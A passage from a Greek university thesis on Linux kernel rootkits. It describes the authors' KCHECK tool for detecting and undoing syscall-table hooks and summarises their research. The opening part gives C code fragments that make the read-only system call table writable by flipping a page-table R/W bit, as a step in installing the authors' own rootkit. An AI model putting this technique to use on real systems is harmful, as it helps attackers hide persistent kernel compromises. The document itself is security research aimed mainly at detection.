αυτόν τον αριθμό προσθέσουμε την φυσική διεύθυνση την οποία βρήκαμε από τα
περιεχόμενα του καταχωρητή CR3, τότε θα έχουμε την εικονική διεύθυνση. Αυτό
ακριβώς κάνει η συνάρτηση πυρήνα phys_to_virt() την οποία μπορούμε να
χρησιμοποιήσουμε εναλλακτικά.
page_directory = phys_to_virt(cr3_value & ~0xFFF);

   Η δομή των εγγραφών του καταλόγου σελίδων και του πίνακα σελίδων παρου-
σιάζεται στο σχήμα 6.4. Παρατηρούμε ότι και σε αυτή την περίπτωση, όπως και
στον καταχωρητή ελέγχου 3, τα 20 πιο σημαντικά bits ορίζουν τα 20 πιο σημαντικά
bits της φυσική διεύθυνσης στην οποία δείχνουν.
   Έτσι, το περιεχόμενο του καταλόγου σελίδων, στη θέση την οποία έχουμε προσ-
διορίσει με βάση την εικονική διεύθυνση, μας δίνει τη φυσική διεύθυνση του πί-
νακα σελίδων. Από τη φυσική αυτή διεύθυνση παίρνουμε την εικονική και πάλι

                                                                              81
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


ως εξής:
page_table = phys_to_virt(page_directory[pgd_index] & ~0xFFF );

     Τέλος, με χρήση του στης εικονικής διεύθυνσης του πίνακα σελίδων, αλλά και
της θέσης στον πίνακα την οποία προσδιορίσαμε με βάση την εικονική διεύθυνση
του συμβόλου sys_call_table, παίρνουμε τη φυσική διεύθυνση της σελίδας
στην οποία περιέχεται τελικώς ο πίνακας κλήσεων του συστήματος.
     Αυτό που μας ενδιαφέρει δεν είναι αυτή η διεύθυνση, αλλά οι σημαίες στην
εγγραφή του πίνακα σελίδων για τη συγκεκριμένη σελίδα. Αποθηκεύουμε την εγ-
γραφή πριν τις αλλαγές για λόγους ασφαλείας, αλλά και για να την επαναφέρουμε
κατά την απεγκατάσταση του αρθρώματος.
old_pgtable_entry = page_table[pgt_index];

     Τέλος, μας ενδιαφέρει το bit 1 της εγγραφής (R/W bit). Αυτό ακριβώς το bit
στους νεότερους πυρήνες του Linux έχει την τιμή 0 (σελίδα μόνο ανάγνωσης) ενώ
παλαιότερα είχε την τιμή 1 (σελίδα ανάγνωσης – εγγραφής).
     Θέτουμε το bit 1 του αριθμού χρησιμοποιώντας τη δυαδική πράξη OR ως εξής:
page_table[pgt_index] |= 2;

     Από αυτή τη στιγμή μπορούμε να εγγράψουμε κανονικά στον πίνακα κλήσεων
του συστήματος και να συνεχίσουμε την εγκατάσταση του rootkit μας.


6.2 Ανάπτυξη προγράμματος KCHECK
Στα πλαίσια της εργασίας αναπτύξαμε το πρόγραμμα KCHECK. Το KCHECK έχει
σαν σκοπό την ανίχνευση της ύπαρξης rootkit στο σύστημα στο οποίο εκτελεί-
ται, και εάν είναι εφικτό, την επαναφορά του. Είναι σχεδιασμένο για συστήματα
αρχιτεκτονικής x86, τα οποία έχουν υποστήριξη για αρθρώματα πυρήνα.
     Το KCHECK δεν χρειάζεται πρότερη γνώση υπογραφών από συγκεκριμένα
rootkits σε αντίθεση με αρκετά προγράμματα ανίχνευσης τα οποία είναι δημο-
φιλή αυτή τη στιγμή. Είναι βασισμένο στην ανάλυσή μας των τρόπων αλλοίωσης
του πυρήνα από τα rootkits επιπέδου πυρήνα. Συγκεκριμένα, μπορεί να ανιχνεύ-
σει δυο διαφορετικούς τύπους rootkit.
  1. Τα rootkit τα οποία λειτουργούν με τροποποίηση εγγραφών του πίνακα κλή-
      σεων συστήματος.

  2. Τα rootkit τα οποία λειτουργούν με ανακατεύθυνση του πίνακα κλήσεων
      συστήματος.

82
                                                   6.2. ΑΝΑΠΤΥΞΗ ΠΡΟΓΡΑΜΜΑΤΟΣ KCHECK


   Στην πρώτη κατηγορία βρίσκονται τα δημοφιλέστερα rootkits τα οποία κυκλο-
φορούν και επιτίθενται σε διακομιστές και σταθμούς εργασίας, ενώ στη δεύτερη
κάποια πιο εξελιγμένα rootkits. Στην πρώτη κατηγορία βρίσκεται επίσης το rootkit
το οποίο αναπτύξαμε, και έτσι μπορούμε να το ανιχνεύσουμε επιτυχώς.
   Εκτός της ανίχνευσης, το KCHECK μπορεί να αφαιρέσει επιτυχώς τα rootkits
της πρώτης κατηγορίας. Για την ακρίβεια, μπορεί να αφαιρέσει τις επιπτώσεις τις
οποίες έχουν τα rootkits αυτά στη λειτουργία του συστήματος, επαναφέροντας τον
πίνακα κλήσεων συστήματος ο οποίος έχει αλλοιωθεί στην αρχική του κατάσταση.
   Το   πρόγραμμα     KCHECK     χρειάζεται   ως   προαπαιτούμενο       το   αρχείο
System.map ή το αρχείο vmlinux του πυρήνα ο οποίος θα ελεγχθεί. Επί-
σης χρειάζεται έγκυρες μη αλλοιωμένες εκδόσεις των εργαλείων συστήματος:
“bash, cut, grep, insmod, rmmod”. Για το λόγο αυτό συνίσταται η χρήση
του μέσω κάποιας συσκευής αποθήκευσης δεδομένων μόνο για ανάγνωση, όπως
ένα δίσκο χειρός usb τεχνολογίας flash, μέσα στον οποίο θα είναι αποθηκευμένα
τα παραπάνω αρχεία.
Το πρόγραμμα KCHECK περιλαμβάνει 4 διακριτά στοιχεία.

  1. Ένα άρθρωμα πυρήνα υπεύθυνο για την εξαγωγή στοιχείων προς έλεγχο από
     τον πυρήνα (find_calls.ko).

  2. Ένα άρθρωμα πυρήνα υπεύθυνο για την επαναφορά των αλλοιωμένων διευ-
     θύνσεων των κλήσεων συστήματος του πίνακα κλήσεων συστήματος στην αρ-
     χική τους κατάσταση (restore_calls.ko)

  3. Ένα πρόγραμμα επιπέδου χρήστη υπεύθυνο για τον έλεγχο των εξαγόμενων
     στοιχείων από το πρώτο άρθρωμα (query)

  4. Ένα σενάριο κελύφους το οποίο συντονίζει την όλη διαδικασία και παρέχει
     τη βασική διεπαφή με τον χρήστη (kcheck.sh)


6.2.1 Τρόπος λειτουργίας
Αρχικά ο διαχειριστής του συστήματος καλεί το σενάριο κελύφους με παράμετρο
-f /path/to/System.map. Το αρχείο System.map, όπως ήδη έχουμε αναφέρει,
περιέχει μια μη ταξινομημένη λίστα όλων των συμβόλων πυρήνα μαζί με τις αντί-
στοιχες διευθύνσεις μνήμης στις οποίες θα πρέπει να βρίσκονται κατά τη στιγμή
λειτουργίας του πυρήνα. Το kcheck.sh αφού ελέγξει την εγκυρότητα του και
διαβάσει αυτό το αρχείο δημιουργεί μια δική του έκδοση του αρχείου, με όνομα

                                                                                83
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ


.kcheck_DiskSystemMap στην οποία περιέχονται μόνο τα σύμβολα πυρήνα των
οποίων το όνομα αρχίζει με sys_, είναι δηλαδή με μια μεγάλη πιθανότητα σύμβο-
λα κλήσεων συστήματος. Έπειτα το σενάριο βρίσκει την εγγραφή η οποία αντιστοι-
χεί στον πίνακα κλήσεων συστήματος (εγγραφή με όνομα sys_call_table), και
εισάγει στον πυρήνα το άρθρωμα find_calls.ko με παράμετρο αυτή τη διεύ-
θυνση.
   Το άρθρωμα find_calls.ko χρησιμοποιεί την τεχνική η οποία περιγράφηκε
στην ενότητα 6.1.2 έτσι ώστε να ανακαλύψει, μέσω του καταχωρητή IDT τη διεύ-
θυνση του πίνακα κλήσεων του συστήματος ο οποίος είναι σε χρήση τη στιγμή της
εισαγωγής. Στη συνέχεια, και αφού έχει περαστεί σαν παράμετρος η διεύθυνση
του πίνακα η οποία βρέθηκε μέσω του αρχείου System.map, γίνεται σύγκριση
των δυο διευθύνσεων.
   Στην περίπτωση που από τη σύγκριση προκύψει ότι οι δύο διευθύνσεις δεν
είναι όμοιες, τότε έχει γίνει ανακατεύθυνση του πίνακα κλήσεων συστήματος,
προφανώς μέσω κάποιου rootkit και το σύστημα δε θα πρέπει να θεωρείται α-
σφαλές. Οι επόμενες δράσεις είναι στην χρήστη του διαχειριστή του συστήματος.
Στις περιπτώσεις αυτές η καλύτερη πρακτική είναι η πλήρης διαγραφή και επα-
νεγκατάσταση του συστήματος, ταυτόχρονα με επαναφορά του περιεχομένου από
ασφαλή αντίγραφα.
   Εάν οι δύο διευθύνσεις είναι όμοιες, τότε το άρθρωμα προχωράει στην κατα-
γραφή των περιεχομένων του πίνακα και την αποθήκευσή τους σε αρχείο με όνομα
.kcheck_CallAddrFound. Το περιεχόμενο του πίνακα είναι οι διευθύνσεις των
κλήσεων συστήματος ταξινομημένες με τη σειρά. Στο σημείο αυτό θα πρέπει να
σημειώσουμε ότι η εγγραφή από επίπεδο πυρήνα σε αρχείο επιπέδου χρήστη δεν
είναι απλή διαδικασία, καθώς ο κατά τον προγραμματισμό αρθρωμάτων δεν είναι
διαθέσιμες οι γνωστές συναρτήσεις της γενικής βιβλιοθήκης της C για χειρισμό
αρχείων, καθώς επίσης και οι συναρτήσεις επιπέδου πυρήνα δεν είναι σχεδια-
σμένες για να αλληλεπιδρούν με δείκτες και αναφορές σε διευθύνσεις πυρήνα. Το
άρθρωμα μετά την εγγραφή του αρχείου ολοκληρώνει το σκοπό του.
   Στη συνέχεια το σενάριο kcheck.sh καλεί το πρόγραμμα query. Το query
αρχικά διαβάζει το αρχείο .kcheck_CallAddrFound και δημιουργεί ένα δεύτερο
αρχείο στο οποίο έχει αντιστοιχίσει την κάθε εγγραφή του αρχείου με το όνομα
κλήσης στην αντίστοιχη θέση, καθώς το αρχείο είναι ταξινομημένο με τη σειρά
στην οποία εμφανίζονται οι κλήσεις στον πίνακα κλήσεων, και η διαδοχή τους είναι
γνωστή από τον πηγαίο κώδικα του πυρήνα. Το αρχείο που προκύπτει από την
διαδικασία, με όνομα .kcheck_KernSystemMap είναι ταξινομημένο και όμοιο με

84
                                                 6.2. ΑΝΑΠΤΥΞΗ ΠΡΟΓΡΑΜΜΑΤΟΣ KCHECK


το .kcheck_DiskSystemMap το οποίο δεν έχει ταξινόμηση. Έπειτα το πρόγραμμα
query διαβάζει εγγραφή προς εγγραφή τα δυο αυτά αρχεία, συγκρίνοντας τις δυο
διευθύνσεις για κάθε κοινό όνομα κλήσης συστήματος.
   Εάν οι δυο διευθύνσεις για κάθε κλήση συστήματος είναι ίδιες, τότε το σύστη-
μα δεν έχει αλλοιωμένο πίνακα κλήσεων συστήματος και άρα δεν υπάρχει εγκα-
τεστημένο rootkit το οποίο χρησιμοποιεί αυτή την τεχνική. Εάν για κάποια κλήση
συστήματος βρεθεί διαφορά στις δυο διευθύνσεις τότε υπάρχει ανακατεύθυνση
της συγκεκριμένης κλήσης η οποία με μεγάλη πιθανότητα οφείλεται σε rootkit.
Για κάθε τέτοια κλήση, το πρόγραμμα αποθηκεύει τον αριθμό της και τη σωστή
της διεύθυνση (τη διεύθυνση του αρχείου System.map), σε ένα αρχείο με όνομα
.kcheck_CallsToRestore.
   Το σενάριο κελύφους kcheck.sh ελέγχει εάν έχει δημιουργηθεί το παραπάνω
αρχείο και εάν υπάρχει πληροφορεί τον διαχειριστή για την κατάσταση και ζητά
την έγκρισή του να προχωρήσει σε επαναφορά των συγκεκριμένων κλήσεων. Σε θε-
τική απάντηση, εισάγει το άρθρωμα restore_calls.ko στον πυρήνα, με πρώτη
παράμετρο τους αριθμούς και τις έγκυρες διευθύνσεις των ανακατευθυμένων κλή-
σεων και δεύτερη παράμετρο τη διεύθυνση του πίνακα κλήσεων συστήματος.
   Στη συνέχεια το άρθρωμα restore_calls.ko, με τις παραπάνω πληροφορίες
στη διάθεσή του, λειτουργεί περίπου όπως το rootkit μας το οποίο περιγράψα-
με στην προηγούμενη ενότητα. Λαμβάνοντας όλα τα απαραίτητα μέτρα ασφαλεί-
ας, τροποποιεί τις συγκεκριμένες εγγραφές του πίνακα κλήσεων συστήματος και
εισάγει τις έγκυρες διευθύνσεις των κλήσεων συστήματος. Φυσικά αξιοποιεί την
τεχνική αλλαγής των ιδιοτήτων της σελίδας μνήμης εάν ο πίνακας κλήσεων συ-
στήματος βρίσκεται σε περιοχή μνήμης μόνο για ανάγνωση.
   Με την ολοκλήρωση της λειτουργίας του αρθρώματος επαναφοράς, το σενάριο
κελύφους και το πρόγραμμα μας τερματίζει τη λειτουργία του. Πρέπει να τονίσου-
με στο σημείο αυτό ότι το rootkit δεν έχει απομακρυνθεί από το σύστημα πλήρως,
με την έννοια ότι, εάν ήταν άρθρωμα πυρήνα, δεν έχει αποφορτωθεί. Αυτό που
έχει συμβεί είναι η εξάλειψη των συνεπειών από την εγκατάστασή του, και για
την ακρίβεια η αποδιοργάνωση και διακοπή των υπηρεσιών τις οποίες προσέφερε
μέχρι εκείνη τη στιγμή στον εισβολέα, όπως η απόκρυψη αρχείων και συνδέσεων
δικτύου. Είναι λοιπόν μια ευκαιρία για τον διαχειριστή να ανακαλύψει τα κρυμ-
μένα μέχρι πριν αρχεία του rootkit στο σύστημα και να τα απομακρύνει ώστε με
την επόμενη επανεκκίνηση του συστήματος να απομακρυνθεί πλήρως το rootkit.




                                                                              85
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ




                      Σχήμα 6.1: Διάγραμμα ροής του rootkit


86
                                        6.2. ΑΝΑΠΤΥΞΗ ΠΡΟΓΡΑΜΜΑΤΟΣ KCHECK




    Σχήμα 6.2: Μηχανισμός μετάφρασης εικονικών διευθύνσεων




Σχήμα 6.3: Δομή των περιεχομένων του Καταχωρητή Ελέγχου 3 (CR3)




                                                                     87
ΚΕΦΑΛΑΙΟ 6. ΑΝΑΠΤΥΞΗ ΚΩΔΙΚΑ




Σχήμα 6.4: Δομή του περιεχομένου των εγγραφών του Καταλόγου Σελίδων και του
Πίνακα Σελίδων




88
                                6.2. ΑΝΑΠΤΥΞΗ ΠΡΟΓΡΑΜΜΑΤΟΣ KCHECK




Σχήμα 6.5: Διάγραμμα ροής του προγράμματος KCHECK


                                                             89
                                                                      7
                                                                  Σύνοψη


Στην εργασία μας ασχοληθήκαμε με τα rootkits και την ανίχνευση τους. Τα
rootkits ορίσθηκαν ως προγράμματα τα οποία εγκαθιστά ο εισβολέας σε ένα υ-
πολογιστικό σύστημα με σκοπό τη διευκόλυνση της επιστροφής του χωρίς να α-
νιχνευθεί. Παρουσιάστηκε το ιστορικό τους και αναλύθηκε ο ρόλος τους τους και
οι δυνατότητες τις οποίες παρέχουν στον εισβολέα, όπως πλήρη απόκρυψη της
ταυτότητάς του και της παραβίασης του συστήματος με διάφορους τρόπους.
   Με σκοπό την εύρεση μεθόδων ανίχνευσης ήταν απαραίτητο να γίνει πλήρως
κατανοητή η δομή τους, οι λειτουργίες τους και οι διαφορετικοί τύποι των rootkits
τα οποία μπορεί να συναντήσει κάποιος διαχειριστής συστημάτων.
   Τα rootkits ταξινομήθηκαν σε πέντε βασικές κατηγορίες. Η ταξινόμηση έγινε
ανάλογα του γενικού τρόπου τον οποίο επιλέγουν έτσι ώστε να αλλοιώσουν τη δομή
του συστήματος. Οι κατηγορίες αυτές είναι τα rootkits επιπέδου χρήστη, επιπέδου
πυρήνα, με χρήση καταχωρητών εκσφαλμάτωσης, με χρήση εικονικών μηχανών
και αυτά που δρουν στο firmware συσκευών.
   Αναλύθηκαν τα rootkits επιπέδου χρήστη, εκ των οποίων μελετήθηκαν τα δια-
σημότερα ώστε να περιγραφεί η λειτουργία τους, οι διαφορετικοί τρόποι δράσης
τους και οι μέθοδοι ανίχνευσής τους.
   Το σημαντικότερο βάρος δόθηκε στα rootkits επιπέδου πυρήνα, τα οποία κα-
τά τη γνώμη μας είναι τα πιο επιβλαβή. Περιγράφηκαν αναλυτικά οι δομές του
πυρήνα οι οποίες σχετίζονται με τα rootkits και πως αυτές μπορούν να τροποποι-
ηθούν ώστε να επιτευχθούν οι στόχοι που έχει ορίσει ο εισβολέας. Μελετήθηκαν
τα δομικά στοιχεία ενός rootkit πυρήνα μέσα από ανάλυση αρκετών διαθέσιμων
rootkits τα οποία ανακαλύφθηκαν σε ιστοσελίδες και άλλους χώρους τους οποίους
χρησιμοποιούν και οι εισβολείς.
   Στη συνέχεια τα rootkits επιπέδου πυρήνα κατατάχθηκαν σε πέντε διακριτές

                                                                             91
ΚΕΦΑΛΑΙΟ 7. ΣΥΝΟΨΗ


υποκατηγορίες, με βάση τον ακριβή τρόπο με τον οποίο ανακατευθύνουν τη ροή
της εκτέλεσης εργασιών μέσα στον πυρήνα έτσι ώστε να έχουν το επιθυμητό απο-
τέλεσμα. Εκ των κατηγοριών αυτών το κυριότερο βάρος δόθηκε στην πρώτη και
πιο δημοφιλή, αυτή της ανακατεύθυνσης κλήσεων συστήματος μέσω τροποποίη-
σης εγγραφών του πίνακα κλήσεων συστήματος.
     Για τρεις από τις παραπάνω υποκατηγορίες rootkit επιπέδου πυρήνα, αναπτύ-
χθηκε μεθοδολογία μη-αυτοματοποιημένης ανίχνευσης από τον διαχειριστή με
χρήση κυρίως του εργαλείου gdb.
     Στη συνέχεια αναπτύχθηκε ένα rootkit επιπέδου πυρήνα, το οποίο λειτουργεί
ανακατευθύνοντας κλήσεις συστήματος και άρα εντάσσεται στην πρώτη υποκατη-
γορία. Η μέθοδος την οποία ακολουθεί για την εισαγωγή των στοιχείων του στον
κώδικα πυρήνα είναι αυτή των αρθρωμάτων πυρήνα και άρα ο πυρήνας θα πρέπει
να έχει την κατάλληλη υποστήριξη για αυτά. Κατά την ανάπτυξη του κώδικα αντι-
μετωπίσθηκαν δυο σημαντικά προβλήματα τα οποία ξεπεράσθηκαν επιτυχώς. Το
πρώτο είναι το γεγονός ότι η διεύθυνση του πίνακα κλήσεων συστήματος, η οποία
είναι απαραίτητη, δεν είναι διαθέσιμη προς χρήση από κώδικα αρθρωμάτων πυρή-
να. Για τη λύση του προβλήματος εφαρμόσθηκε μια μέθοδος εύρεσης της διεύθυν-
σης με χρήση του καταχωρητή συστήματος IDTR. Το δεύτερο, και σημαντικότερο
πρόβλημα είναι ότι στις νεότερες εκδόσεις πυρήνα ο πίνακας κλήσεων συστήμα-
τος, ο οποίος πρέπει να τροποποιηθεί, έχει μεταφερθεί σε περιοχή μνήμης στην
οποία δεν επιτρέπεται η εγγραφή. Το πρόβλημα αυτό ξεπεράσθηκε αναπτύσσον-
τας και εφαρμόζοντας ειδική τεχνική εύρεσης της συγκεκριμένης σελίδας μνήμης
και αλλαγής των ιδιοτήτων της. Θα πρέπει να αναφερθεί ότι κατά την πορεία της
έρευνας δεν συναντήθηκε κάποιο άλλο rootkit το οποίο χρησιμοποιεί αυτή την
τεχνική, να λειτουργεί στις νεότερες εκδόσεις πυρήνα, ακριβώς λόγω αυτού του
εμποδίου.
     Στη συνέχεια σχεδιάσθηκε και αναπτύχθηκε ένα πρόγραμμα ανίχνευσης
rootkit και επαναφοράς δομών του πυρήνα στην αρχική κατάσταση. Το πρόγραμ-
μά είναι σε μορφή αρθρωμάτων πυρήνα και έχει τη δυνατότητα να ανιχνεύσει
rootkits επιπέδου πυρήνα δύο διαφορετικών υποκατηγοριών. Ανιχνεύει επιτυχώς
rootkits τα οποία τροποποιούν τον πίνακα κλήσεων συστήματος και rootkits τα
οποία τροποποιούν τον κώδικα της συνάρτησης χειρισμού της διακοπής λογισμι-
κού 0x80. Τέλος, το πρόγραμμα μπορεί να επαναφέρει τον πίνακα στην αρχική
του κατάσταση μετά την ανίχνευση εγκατάστασης rootkit της πρώτης υποκατηγο-
ρίας, μια διαδικασία στην οποία αντιμετωπίσθηκαν επιτυχώς προβλήματα όμοια
με αυτά που αντιμετωπίσθηκαν κατά την ανάπτυξη του rootkit.

92
                                                         7.1. ΔΥΝΑΤΟΤΗΤΕΣ ΕΠΕΚΤΑΣΗΣ


   Γενικότερα στην εργασία δόθηκε έμφαση κυρίως στον κώδικα πυρήνα του λει-
τουργικού συστήματος Linux καθώς σε αυτόν εστιάζουν τα rootkits επιπέδου πυ-
ρήνα. O κώδικας πυρήνα είναι ένα από τα πιο πολύπλοκα και ταυτόχρονα κρίσιμα
σημεία του λειτουργικού συστήματος, και τόσο η κατανόηση όσο και ανάπτυξη
κώδικα για αυτόν είναι ιδιαίτερα δύσκολη. Επικεντρωθήκαμε σε μελέτη και α-
νάπτυξη κώδικα για αρχιτεκτονική Intel 32-bit, ο οποίος λειτουργεί σε εκδόσεις
πυρήνα του λειτουργικού συστήματος Linux μεγαλύτερες από 2.6.16. Δόθηκε ι-
διαίτερη σημασία ώστε ο κώδικας να λειτουργεί ακόμη και με την τελευταία σταθε-
ρή έκδοση πυρήνα κατά την περίοδο συγγραφής της εργασίας, την έκδοση 2.6.27.


7.1 Δυνατότητες επέκτασης
Υπάρχουν αρκετοί τομείς στους οποίους θα μπορούσε να επεκταθεί η έρευνά και
η εργασία μας μελλοντικά.
   Αρχικά θα πρέπει να μελετηθεί η συμπεριφορά συστημάτων αρχιτεκτονικής
64bit τα οποία αποτελούν και ένα πολύ σημαντικό μερίδιο αγοράς στα πιο κρί-
σιμα συστήματα, στους διακομιστές περιεχομένου και δικτύου. Μπορεί να γίνει
ανάπτυξη ανάλογων εφαρμογών ανίχνευσης και απομάκρυνσης rootkit για αρχι-
τεκτονικές 64bit.
   Μια άλλη πιθανή βελτίωση είναι η επίτευξη πλήρους συμβατότητας με όλες τις
εκδόσεις πυρήνα του λειτουργικού συστήματος Linux από τις παλαιότερες μέχρι
τις πιο σύγχρονες.
   Σημαντικό επίσης θέμα είναι το πρόγραμμα ανίχνευσης να είναι σε θέση να
ανιχνεύσει rootkits πυρήνα περισσότερων κατηγοριών εφαρμόζοντας πιο εξειδι-
κευμένες τεχνικές.
   Επίσης, ένα επόμενο βήμα είναι η μελέτη των τρόπων ανακατεύθυνσης κλή-
σεων συστήματος με χρήση του μηχανισμού sysenter, ο οποίο είναι νεότερο και
εναλλακτικός του μηχανισμού διακοπών λογισμικού.
   Τέλος, μια ιδιαίτερη κατηγορία rootkits, αυτά τα οποία χρησιμοποιούν τους
καταχωρητές εκσφαλμάτωσης του συστήματος είναι κρίσιμο να μελετηθούν και
να ανακαλυφθεί μια μέθοδος ανίχνευσης καθώς μέχρι την περίοδο συγγραφής
της εργασίας δεν υπάρχει.




                                                                              93
                                                     Βιβλιογραφία


 [1] Ed Skoudis.    A Step-by-Step Guide to Computer Attacks and Effective
    Defences. Prentice-Hall, 2002.

 [2] Snort - open source network intrusion prevention and detection system.
    URL http://www.snort.org/.

[3] Open source tripwire.       URL http://sourceforge.net/projects/
    tripwire/.

[4] Black Tie Affair. Hiding out under unix. Phrack Magazine, 25, 1989. URL
    http://www.phrack.com/issues.html?issue=25&id=6&mode=txt.

[5] David O’Brien. Recognizing and recovering from rootkit attacks. URL
    http://www.samag.com/articles/1996/6911/.

[6] halflife. Abuse of the linux kernel for fun and profit. Phrack Magazine,
    50, 1997. URL http://www.phrack.com/issues.html?issue=50&id=
    5&mode=txt.

[7] plaguez. Weakening the linux kernel. Phrack Magazine, 52, 1998. URL
    http://www.phrack.com/issues.html?issue=52&id=18&mode=txt.

[8] Greg Hoglund. A real nt rootkit, patching the nt kernel. Phrack Magazine,
    55, 1999. URL http://www.phrack.com/issues.html?issue=55&id=
    5&mode=txt.

[9] Cisco security response: Rootkits on cisco ios devices. Technical report,
    Cisco Systems, Inc., 2008. URL http://www.cisco.com/warp/public/
    707/cisco-sr-20080516-rootkits.shtml.

[10] Mark Russinovich.     Sony, rootkits and digital rights management
    gone too far.    URL http://www.sysinternals.com/blog/2005/10/
    sony-rootkits-and-digital-rights.html.

[11] Anton Chuvakin. An overview of unix rootkits. 2003.

[12] Joanna   Rutkowska.             Introducing   blue    pill,   .    URL
    http://theinvisiblethings.blogspot.com/2006/06/
    introducing-blue-pill.html.

                                                                         95
ΒΙΒΛΙΟΓΡΑΦΙΑ


[13] S.T. King and P.M. Chen. Subvirt: implementing malware with virtual
     machines. In Proc. IEEE Symposium on Security and Privacy, pages 14
     pp.–, 2006. doi: 10.1109/SP.2006.38.

[14] Intel lagrande. URL http://www.intel.com/technology/security/.

[15] Amd       trustworthy     computing.          URL   http://conference.
     digitalidworld.com/2004/attendees/slides/1027_1700_E1.pdf.

[16] Joanna Rutkowska. Red pill, . URL http://www.invisiblethings.org/
     papers/redpill.html.

[17] Pierre Falda. mood-nt rootkit, 2009. URL http://darkangel.antifork.
     org/codes.htm.

[18] Immunity Inc. Dr rootkit, 2008. URL http://www.immunitysec.com/
     resources-freesoftware.shtml.

[19] John Heasman.           Implementing and detecting a pci rootkit.    URL
     http://www.ngssoftware.com/research/papers/Implementing_
     And_Detecting_A_PCI_Rootkit.pdf.

[20] Whitecat logcleaner by shados.         URL http://hellknights.void.ru/
     releases/0x48k-whitecat.c.

[21] Executable and linkable format (elf). URL http://www.skyfree.org/
     linux/references/ELF_Format.pdf.

[22] George Kurtz Brian Hatch, James Lee. Hacking Linux Exposed. McGraw
     Hill, 2001. URL http://www.hackinglinuxexposed.com.

[23] The Hackers Choice THC.           (nearly) complete linux loadable kernel
     modules.     URL http://packetstormsecurity.org/docs/hack/LKM_
     HACKING.html.

[24] Digital signatures for kernel modules on systems running windows
     vista. Technical report, Microsoft Corporation, 2006. URL http://www.
     microsoft.com/whdc/winlogo/drvsign/kmsigning.mspx.

[25] C. Kruegel, W. Robertson, and G. Vigna. Detecting kernel-level rootkits
     through binary analysis.         In Proc. 20th Annual Computer Security

96
                                                                   ΒΙΒΛΙΟΓΡΑΦΙΑ


    Applications Conference, pages 91–100, 6–10 Dec. 2004. doi: 10.1109/CSAC.
    2004.19.

[26] kad.   Handling interrupt descriptor table for fun and profit.    Phrack
    Magazine, 59, 2002.      URL http://www.phrack.com/issues.html?
    issue=59&id=4&mode=txt.

[27] Richard Gooch. Overview of the virtual file system. 1999. URL http:
    //www.atnf.csiro.au/people/rgooch/linux/docs/vfs.txt.

[28] Aide - advanced intrusion detection environment.         URL http://
    sourceforge.net/projects/aide.

[29] The user guide to the gnu assembler (as). URL http://sourceware.org/
    binutils/docs/as/Section.html.

[30] Intel® 64 and ia-32 architectures software developer’s manual volume
    3a: System programming guide.       Technical report, Intel Corporation,
    2009. URL http://download.intel.com/design/processor/manuals/
    253668.pdf.

[31] Nessus - the network vulnerabilty scanner. URL http://www.nessus.
    org/nessus/.

[32] Yougetsignal - a reverse ip domain check.             URL http://www.
    yougetsignal.com/tools/web-sites-on-web-server/.

[33] php-reverse-shell by pentestmonkey. URL http://pentestmonkey.net/
    tools/php-reverse-shell/.

[34] chkrootkit – locally checks for signs of a rootkit.   URL http://www.
    chkrootkit.org/.

[35] Rootkit hunter (rkhunter) – rootkit scanner. URL http://www.rootkit.
    nl/projects/rootkit_hunter.html.

[36] Packet storm (security site). URL http://packetstormsecurity.org/.




                                                                          97
                                                     Παράρτημα A
                                                                 A
A.1 Περίπτωση χρήσης: Επίθεση σε σύστημα
Στην εργασία αυτή θεωρήσαμε δεδομένη την πρόσβαση επιπέδου διαχειριστή την
οποία χρειάζεται ο εισβολές για να εγκαταστήσει το rootkit επιτυχώς στο σύστημα
στόχο. Στην ενότητα αυτή θα εξετάσουμε την μεθοδολογία μιας επίθεσης και θα
παρουσιάσουμε ένα σενάριο επίθεσης και απόκτησης πρόσβασης το οποίο δια-
μορφώσαμε σαν παράδειγμα χρήσης.
   Μια επίθεση μπορεί να χωριστεί σε πέντε βασικές κατηγορίες ή βήματα; κάθε
κατηγορία μπορεί να διαφοροποιείται λίγο ανάλογα τον στόχο και την τεχνική του
εισβολέα, παρόλα αυτά κάθε επίθεση απαιτεί την επιτυχή ολοκλήρωση κάποιας
μορφής των βημάτων. Το θέμα που ασχοληθήκαμε στην εργασία αυτή αποτελεί
μία από τις κατηγορίες της επίθεσης.
   Τα βήματα της επίθεσης είναι:

Συγκέντρωση πληροφοριών. Στο βήμα αυτό ο επιτιθέμενος προσπαθεί να
     μάθει όσες περισσότερες πληροφορίες είναι δυνατόν για το σύστημα που στο-
     χεύει και το δίκτυο του οργανισμό στον οποίο βρίσκεται. Στις πληροφορίες
     περιλαμβάνονται ακόμη και εταιρικές πληροφορίες, ονόματα εργαζομένων
     και τηλέφωνα. Από το βήμα αυτό προκύπτει ένα σύνολο από τρωτά σημεί-
     α του συστήματος. Κάποια εργαλεία τα οποία βοηθούν στην συγκέντρωση
     πληροφοριών είναι τα wget, dig, whois, fping, nmap, hping2, nessus.

Παραβίαση συστήματος. Για το κάθε τρωτό σημείο που βρέθηκε γίνεται έλεγχος
     κατά πόσο είναι δυνατόν να παραβιαστεί και τι θα προκύψει ακριβώς από την
     παραβίαση. Στο βήμα αυτό ο επιτιθέμενος προσπαθεί να βρει το τρωτό σημείο
     εκείνο για το οποίο η δυνατότητες παραβίασης είναι ισχυρότερες, ενώ ταυ-

                                                                           99
ΠΑΡΑΡΤΗΜΑ A. ΠΑΡΑΡΤΗΜΑ A


        τόχρονα υπάρχει η μικρότερη δυνατή δυσκολία και λιγότερες πιθανότητες
        ανίχνευσης, και να το παραβιάσει. Η παραβίαση μπορεί να είναι από πολύ
        εύκολη, με χρήση έτοιμου κώδικα παραβίασης του συγκεκριμένου τρωτού
        σημείου (exploit code), μέχρι πολύ δύσκολη, όπου ο επιτιθέμενος ανακαλύ-
        πτει και εκμεταλλεύεται ένα άγνωστο μέχρι πριν σφάλμα του λογισμικού ή
        προγραμματιστικό λάθος.

Απόκτηση αυξημένων προνομίων. Συχνά η παραβίαση ενός τρωτού σημείο θα
        δώσει στον επιτιθέμενο μόνο περιορισμένης πρόσβασης δικαιώματα στο σύ-
        στημα. Για την εγκατάσταση ενός rootkit,την συγκάλυψη της επίθεσης και
        την συγκέντρωση ευαίσθητων πληροφοριών είναι απαραίτητα αυξημένα προ-
        νόμια ή διαφορετικά πρόσβαση με δικαιώματα διαχειριστή. Τεχνικές για την
        αύξηση των δικαιωμάτων είναι μεταξύ άλλων η εύρεση του κωδικού του δια-
